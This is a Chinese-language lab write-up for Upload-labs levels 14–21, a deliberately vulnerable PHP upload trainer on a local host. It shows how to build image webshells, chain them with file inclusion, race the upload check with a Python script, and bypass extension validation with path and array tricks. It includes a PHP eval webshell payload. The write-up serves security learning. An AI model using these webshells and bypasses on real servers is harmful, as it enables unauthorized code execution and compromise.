目录
Upload-labs-14-17(图片信息验证,配合漏洞)
Upload-labs-14-17(图片信息验证,配合漏洞)
文件包含漏洞原理:
以包含的文件以脚本格式去执行,file为文件包含的参数值。也就是以脚本执行文件包含所具有的特征值,特征值也就是所包含文件的特征
http://192.168.3.12/upload/include.php?file=upload/7220220822184847.jpg
图片马制作(windows):
Copy xx.jpg/B + shell.php/A muma.jpg
图片马执行条件:
Php版本为5.45及以上,如果版本太低,对方服务器可能解析不出图片马的php格式
演示:
上传文件,并复制连接
点击文件包含漏洞
通过页面提示得知,file值为文件包含值,把图片路径粘贴到?file=的后面
运行后门
函数学习:
getimagesize() 获取图像信息
exif_imagetype() 获取图片类型
imagecreatefromjpeg() 为二次渲染,如果是图片的话是true否则false
原理:
查看源代码可知,如果不是图像信息,函数无法正常执行,所以就只能上传图片马,但是只能上传图片的话不配合其他漏洞,这个后门代码就不可能能释放出来,所以14-17关方法一致。都是有文件包含漏洞,因为上传图片就只能是上传图片,如果不去配合其他漏洞的话就没有意义了。
Upload-labs-18(二次渲染/条件竞争)
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){//如果触发鼠标提交事件
$ext_arr = array('jpg','png','gif');//提交名单
$file_name = $_FILES['upload_file']['name'];//上传文件的图片名
$temp_file = $_FILES['upload_file']['tmp_name'];//获得上传文件的缓存路径
$file_ext = substr($file_name,strrpos($file_name,".")+1);//取出文件点后面的后缀
$upload_file = UPLOAD_PATH . '/' . $file_name;//文件路径为路径拼接加文件名
if(move_uploaded_file($temp_file, $upload_file)){//如果缓存文件移动到$upload_file变量,则执行下一步
if(in_array($file_ext,$ext_arr)){//如果符合安全验证
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;//路径
rename($upload_file, $img_path);//则重命名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
?>
通过源代码得知安全验证是在后面的if判断语句,且前面的的移动文件前并没有做任何过滤,所以可以利用条件竞争原理来上传shell.php以阻止后面的安全验证。所谓条件竞争也可以说是资源占用这是系统的特性,当上传php文件的一瞬间立刻访问
演示:
如图,右键发送到intruder模块
选中ip的主机号
选中模块number,从1到255攻击间隔为1次,不断地发送请求,并攻击
此时访问网址,一直重复即可
可利用python脚本两边跑:
import requests
url = 'http://192.168.3.12/upload/upload/muma.php'
p = 1
while p:
resp = requests.get(url)
status = resp.status_code
if status == 200:
print("ok!")
p = 0
else:
pass
最后通过不断的访问,在访问占用中导致后面的if安全验证不能执行,成功上传php后门文件
(不要问我为什么你跑不出来)
Upload-labs-19(和18关同理)
后门代码:访问php时后门的生成
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["c"]);?>')?>
Upload-labs-20(文件夹伪造)
知识点1:内置函数的漏洞
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//获取文件后缀名
知识点2:文件目录上的问题
文件夹伪造 upload.php/.
弱智题了解就行
上传方法:大小写绕过,空格绕过,点绕过,post之%00截断等
本题脚本利用的CVE-漏洞:CVE-2015-2348
Upload-labs-21(数组接受+目录命名)
源代码分析
reset()获取前面的文件名,不带后缀的
<?php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//当上传文件不为空
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');//声明允许文件类型的数组
if(!in_array($_FILES['upload_file']['type'],$allow_type)){//如果上传文件类型不在允许变量里
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//三目运算符
if (!is_array($file)) {//如果$file不在空
$file = explode('.', strtolower($file));//以点分割$file中的字符串,并将其组成为数组
}
$ext = end($file);//输出$file数组中最后一个元素的值。
$allow_suffix = array('jpg','png','gif');//声明允许的文件后缀的数组
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];//reset()获取前面的文件名,不带后缀的.返回$file数组的数目并-1,也就是$file[2]
$temp_file = $_FILES['upload_file']['tmp_name'];//获得本地临时文件的储存路径
$img_path = UPLOAD_PATH . '/' .$file_name;//图片路径为本地配置文件中的UPLOAD_PATH路径/.上传文件名
if (move_uploaded_file($temp_file, $img_path)) {//如果缓存文件移动到执行的图片路径
$msg = "文件上传成功!";//输出
$is_upload = true;//上传变量为正确
} else {
$msg = "文件上传失败!";//$msg变量为
}
}
}
}else{
$msg = "请选择要上传的文件!";//$msg变量为
}
?>
上传思路:
- 修改文件类型为
- 修改数组最后一个值为允许后缀
演示:
用bp抓取一个上传的php后门
修改数据包信息,文件类型为Content-Type:image/jpeg,并添加如图选中的代码。
注意(在添加数据类型的时候要注意格式包括换行的间隙,可以通过前面save_name进行参考)
上传即可成功
原理:
通过源代码可以发现允许文件后缀的数组的验证是$file上传文件数组中最后的一个值,也就是说save_name[2],100也行,主要是绕过后缀名的数组验证。由于save_name[0]是为了能让代码符合,即文件的第一个数组再拼接文件数组-1的文件由于数组[2-1]刚好是空白,所以成功上传了